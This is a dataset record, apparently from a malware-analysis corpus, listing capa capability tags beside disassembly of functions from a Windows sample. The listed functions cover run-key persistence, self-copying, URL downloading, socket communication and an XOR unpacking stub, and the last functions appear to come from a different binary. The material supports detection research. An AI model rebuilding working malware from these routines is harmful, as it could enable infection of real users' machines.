joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402764
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403e78
test esi, esi
jne 0x40279a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403f68
jmp 0x4027b8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402678
mov edi, eax
test esi, esi
je 0x4027b8
cmp dword [ebx], 0
je 0x4027b8
dec esi
jmp 0x4027a1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402e60
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x40b008], 0x8088405
inc edx
mov dword [ebx + 0x40b008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403478
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40b018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403510
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4034f0
xor eax, eax
push ebp
push 0x4034e9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40352c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4034f0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40b018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40b018], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cfc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40c034], 0
je 0x403d5d
cmp word [0x40c208], 0xd7b2
jne 0x403d25
cmp dword [0x40c210], 0
jbe 0x403d25
mov eax, 0x40c204
call dword [0x40c220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40b084
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d84
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40b024], 0
jne 0x403d79
push 0
push 0x40b07c
push 0x40b084
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404be4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404c4a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403fe4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403210
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404c34
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404c51
lea eax, [ebp - 0x10]
call fcn.00403e78
ret
Function at 0x405218
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041ec
mov eax, dword [ebp - 8]
call fcn.004041ec
xor eax, eax
push ebp
push 0x4052a6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x40527f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004041fc
push eax
mov eax, dword [ebp - 4]
call fcn.004041fc
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40528b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4052ad
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e9c
ret

Function at 0x4052f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041ec
xor eax, eax
push ebp
push 0x40538c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x40c698], 0
jle 0x405371
push 0x4053a0
push dword [0x40c684]
push 0x4053b4
lea eax, [ebp - 8]
mov edx, 3
call fcn.004040bc
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404340
test eax, eax
jle 0x405352
cmp dword [0x40c83c], 0
jne 0x405371
push 0
mov eax, dword [ebp - 4]
call fcn.00403ffc
push eax
lea eax, [ebp - 4]
call fcn.00404254
push eax
mov eax, dword [0x40c698]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405393
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403e9c
ret
Function at 0x405d84
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041ec
xor eax, eax
push ebp
push 0x405ecb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403e78
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x405e96
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.004041fc
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x405e8c
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x405e82
cmp dword [ebp - 4], 0
jne 0x405e6e
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.00403fa8
mov edx, dword [ebp - 0x198]
mov eax, 0x405ee4
call fcn.00404340
dec eax
je 0x405e81
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.00403fa8
mov edx, dword [ebp - 0x19c]
mov eax, 0x405ef0
call fcn.00404340
dec eax
je 0x405e81
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403fa8
jmp 0x405e8c
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403fa8
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x405dff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405ea0
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ed2
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.00403e9c
lea eax, [ebp - 4]
call fcn.00403e78
ret
Function at 0x405ef4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041ec
xor eax, eax
push ebp
push 0x406016
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40c69c
mov dl, 1
mov al, 2
call fcn.00404fb0
push eax
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x40c698], eax
cmp dword [0x40c698], 0xffffffff
je 0x405ffb
mov word [0x40c688], 2
push 0x1a0b
call sub.wsock32.dll_htons
mov word [0x40c68a], ax
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00405d84
mov eax, dword [ebp - 0xc]
call fcn.004041fc
push eax
call sub.wsock32.dll_inet_addr
mov dword [0x40c68c], eax
push 0x10
push 0x40c688
mov eax, dword [0x40c698]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x405ff6
lea eax, [ebp - 8]
call fcn.0040567c
push 0x40602c
push dword [ebp - 8]
push 0x40603c
push dword [ebp - 8]
push 0x406048
push dword [ebp - 8]
push 0x406064
lea eax, [ebp - 0x10]
mov edx, 7
call fcn.004040bc
mov eax, dword [ebp - 0x10]
call fcn.004052f0
push 0x406070
push dword [ebp - 8]
push 0x406064
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004040bc
mov eax, dword [ebp - 0x14]
call fcn.004052f0
call fcn.0040574c
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40601d
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403e9c
ret

Function at 0x4064b0
Capabilities:
Get socket status

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov eax, ecx
mov esi, 0x3e8
cdq
idiv esi
mov dword [esp], eax
mov eax, ecx
mov ecx, 0x3e8
cdq
idiv ecx
imul eax, edx, 0x3e8
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
cmp eax, 0x40
jge 0x4064ee
mov dword [esp + eax*4 + 0xc], ebx
inc dword [esp + 8]
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x10c
pop esi
pop ebx
ret
Function at 0x406508
Capabilities:
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor edi, edi
mov dword [ebp - 0x14], 1
xor esi, esi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
push 0x11
push 2
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40660a
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.00404fc4
mov word [ebp - 0x28], 2
push 0x35
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call fcn.004041fc
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.wsock32.dll_sendto
inc eax
jne 0x40659d
push ebx
call sub.wsock32.dll_closesocket
jmp 0x40660a
cmp dword [ebp - 0x14], 0
jle 0x406602
mov ecx, 0xbb8
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004064b0
test eax, eax
jle 0x406602
lea eax, [ebp - 0x14]
push eax
push 0x4004667f
push ebx
call sub.wsock32.dll_ioctlsocket
inc eax
jne 0x4065ce
cmp dword [ebp - 0x14], 0
jle 0x406602
mov eax, dword [ebp - 0x14]
add eax, esi
cmp eax, dword [ebp + 8]
jle 0x4065dd
add esi, dword [ebp - 0x14]
jmp 0x406602
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
push ebx
call sub.wsock32.dll_recvfrom
mov edi, eax
add esi, edi
add dword [ebp - 0x18], esi
cmp dword [ebp - 0x14], 0
jg 0x4065a3
mov edi, esi
push ebx
call sub.wsock32.dll_closesocket
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4069ec
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
test dl, dl
je 0x406a03
add esp, 0xfffffff0
call fcn.00403680
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004041ec
xor eax, eax
push ebp
push 0x406a74
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x406138]
call fcn.004061a0
mov dword [esi + 0xc], eax
lea eax, [esi + 8]
mov edx, dword [ebp - 4]
call fcn.00403ecc
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, esi
call fcn.00406324
mov eax, esi
call fcn.00406860
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a7b
lea eax, [ebp - 4]
call fcn.00403e78
ret
Function at 0x406b4c
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov esi, dword [eax]
mov edi, dword [ecx]
mov eax, ebx
mov ecx, 3
xor edx, edx
div ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
lea ecx, [0x40b184]
xor eax, eax
xor ebx, ebx
xor edx, edx
cmp dword [ebp - 4], 0
je 0x406bd0
mov word [ebp - 0xa], 0
inc word [ebp - 0xa]
lodsw ax, word [esi]
mov bl, al
shr bl, 2
mov dl, byte [ebx + ecx]
mov bh, ah
and bh, 0xf
rol ax, 4
and ax, 0x3f
mov dh, byte [eax + ecx]
mov ax, dx
stosw word es:[edi], ax
lodsb al, byte [esi]
mov bl, al
shr bx, 6
mov dl, byte [ebx + ecx]
and al, 0x3f
xor ah, ah
mov dh, byte [eax + ecx]
mov ax, dx
stosw word es:[edi], ax
cmp word [ebp - 0xa], 0x13
jne 0x406bcb
mov ax, 0xa0d
stosw word es:[edi], ax
mov word [ebp - 0xa], 0
dec dword [ebp - 4]
jne 0x406b7f
cmp dword [ebp - 8], 0
je 0x406c20
xor eax, eax
xor ebx, ebx
xor edx, edx
lodsb al, byte [esi]
shl ax, 6
mov bl, ah
mov dl, byte [ebx + ecx]
dec dword [ebp - 8]
je 0x406c0b
shl ax, 2
and ah, 3
lodsb al, byte [esi]
shl ax, 4
mov bl, ah
mov dh, byte [ebx + ecx]
shl edx, 0x10
shr al, 2
mov bl, al
mov dl, byte [ebx + ecx]
mov dh, 0x3d
jmp 0x406c1a
shr al, 2
mov bl, al
mov dh, byte [ebx + ecx]
shl edx, 0x10
mov dh, 0x3d
mov dl, 0x3d
mov eax, edx
ror eax, 0x10
stosd dword es:[edi], eax
mov esp, ebp
pop ebp
ret

Function at 0x406c9c
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041ec
xor eax, eax
push ebp
push 0x406d4c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00403e78
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x406d27
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.004041fc
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x406d1d
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x406d16
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.00403fa8
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x406d04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406d31
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406d53
lea eax, [ebp - 4]
call fcn.00403e78
ret
Function at 0x406db8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push ebx
xor edx, edx
mov dword [ebp - 0x80c], edx
mov dword [ebp - 0x810], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041ec
xor eax, eax
push ebp
push 0x406e85
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x805]
mov edx, 0x801
call fcn.00404fc4
push 0
push 0x801
lea eax, [ebp - 0x805]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x406e58
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x810]
lea edx, [ebp - 0x805]
mov ecx, 0x801
call fcn.00403fe4
mov eax, dword [ebp - 0x810]
mov ecx, 3
mov edx, 1
call fcn.0040425c
mov eax, dword [ebp - 0x80c]
mov edx, dword [ebp - 4]
call fcn.00404148
je 0x406e5c
xor ebx, ebx
jmp 0x406e5f
or ebx, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406e8c
lea eax, [ebp - 0x810]
mov edx, 2
call fcn.00403e9c
lea eax, [ebp - 4]
call fcn.00403e78
ret
Function at 0x4093ec
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
xor edx, edx
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004041ec
xor eax, eax
push ebp
push 0x40959b
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1dc]
mov eax, dword [ebp - 4]
call fcn.00409600
mov eax, dword [ebp - 0x1dc]
call fcn.004091e8
test eax, eax
jne 0x409570
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.00402764
mov edx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.00404148
je 0x409570
lea eax, [ebp - 8]
call fcn.00403e78
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004090d4
cmp dword [ebp - 8], 0
je 0x409570
mov edx, dword [ebp - 8]
mov eax, 0x4095b0
call fcn.00404340
test eax, eax
jg 0x409570
push 0
mov eax, dword [ebp - 4]
call fcn.004041fc
push eax
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.00402764
mov eax, dword [ebp - 0x1e4]
call fcn.004041fc
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x409570
push 0x4095e4
lea eax, [ebp - 0x1e8]
call fcn.00409360
push dword [ebp - 0x1e8]
push 0x4095f0
mov eax, dword [ebp - 8]
call fcn.00403ffc
lea edx, [ebp - 0x1ec]
call fcn.00409090
push dword [ebp - 0x1ec]
push 0x4095fc
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.004040bc
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d8]
call fcn.00402ac0
lea eax, [ebp - 0x1d8]
call fcn.0040285c
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d8]
call fcn.004043ec
call fcn.00402b70
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1d8]
call fcn.004043ec
call fcn.00402b70
lea eax, [ebp - 0x1d8]
call fcn.00402c30
mov eax, dword [0x40b1c4]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4095a2
lea eax, [ebp - 0x1ec]
mov edx, 5
call fcn.00403e9c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403e9c
ret
Function at 0x40a208
Capabilities:
Copy file
Create process on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
xor eax, eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40a370
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00403fe4
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 4]
mov ecx, 0x40a384
call fcn.00404048
push 0
mov eax, dword [ebp - 4]
call fcn.004041fc
push eax
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.00402764
mov eax, dword [ebp - 0x10c]
call fcn.004041fc
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0x40a39c
push dword [ebp - 4]
push 0x40a410
lea eax, [ebp - 0x110]
mov edx, 3
call fcn.004040bc
mov eax, dword [ebp - 0x110]
call fcn.004041fc
push eax
call sub.kernel32.dll_WinExec
push 0
push 0x40a414
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.00402764
mov eax, dword [ebp - 0x114]
call fcn.004041fc
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0x40a428
lea edx, [ebp - 0x118]
xor eax, eax
call fcn.00402764
mov eax, dword [ebp - 0x118]
call fcn.004041fc
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0x40a438
lea edx, [ebp - 0x11c]
xor eax, eax
call fcn.00402764
mov eax, dword [ebp - 0x11c]
call fcn.004041fc
push eax
call sub.kernel32.dll_CopyFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a377
lea eax, [ebp - 0x11c]
mov edx, 6
call fcn.00403e9c
lea eax, [ebp - 4]
call fcn.00403e78
ret

Function at 0x40a448
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
xor eax, eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40a527
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00403fe4
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 4]
mov ecx, 0x40a53c
call fcn.00404048
push 0
mov eax, dword [ebp - 4]
call fcn.004041fc
push eax
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.00402764
mov eax, dword [ebp - 0x10c]
call fcn.004041fc
push eax
call sub.kernel32.dll_CopyFileA
push 0x40a54c
push 0x40a558
push 0x40a574
push 0x40a57c
call sub.kernel32.dll_WritePrivateProfileStringA
mov eax, 0x40a58c
call fcn.0040a124
test al, al
jne 0x40a501
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a52e
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00403e9c
lea eax, [ebp - 4]
call fcn.00403e78
ret
Function at 0x40a88c
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
mov dword [esp], 7
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb eax, eax
inc eax
pop edx
ret

Function at 0x40aa18
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x40a978
call fcn.00404e44
call fcn.0040a208
call fcn.0040a88c
test al, al
jne 0x40aa40
push 0x493e0
call sub.kernel32.dll_Sleep
call fcn.0040a5a8
call fcn.0040a448
push 0x3e8
call sub.kernel32.dll_Sleep
mov edx, 0x40aaa0
mov eax, 0x40c8ac
call fcn.00402ac0
mov eax, 0x40c8ac
call fcn.00402850
mov eax, 0x40c8ac
call fcn.00402c30
push 0x40c8a8
push 0
push 0
push 0x40a8f4
push 0
push 0
call sub.kernel32.dll_CreateThread
call fcn.0040a8a8
call fcn.00403d88

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x3a392f0a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x130c4d76
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4015d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push esi
and eax, 0xffff
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x4015ed
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0xc]
push esi
push 0
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
pop esi
ret

Function at 0x401610
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x210
lea eax, [esp + 4]
push ebx
mov ebx, dword [esp + 0x220]
push esi
mov esi, dword [esp + 0x21c]
push edi
push eax
push esi
mov dword [ebx], 0
call fcn.004015d0
mov edi, eax
add esp, 8
test edi, edi
je 0x401717
lea ecx, [esp + 0x118]
push 0x104
push ecx
push esi
push 0x65
call fcn.00401130
add esp, 0x10
test al, al
je 0x401711
mov edx, dword [esp + 0x224]
lea eax, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x14]
push 0x407054
push ecx
call esi
lea edx, [esp + 0x118]
lea eax, [esp + 0x14]
push edx
push eax
call esi
lea ecx, [esp + 0x14]
push ecx
push str.saveFile:
call fcn.00401000
add esp, 8
lea edx, [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401711
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push 0
push eax
push ecx
push edi
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401711
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
cmp edx, eax
jne 0x401711
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x210
ret
mov dword [ebx], 1
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x210
ret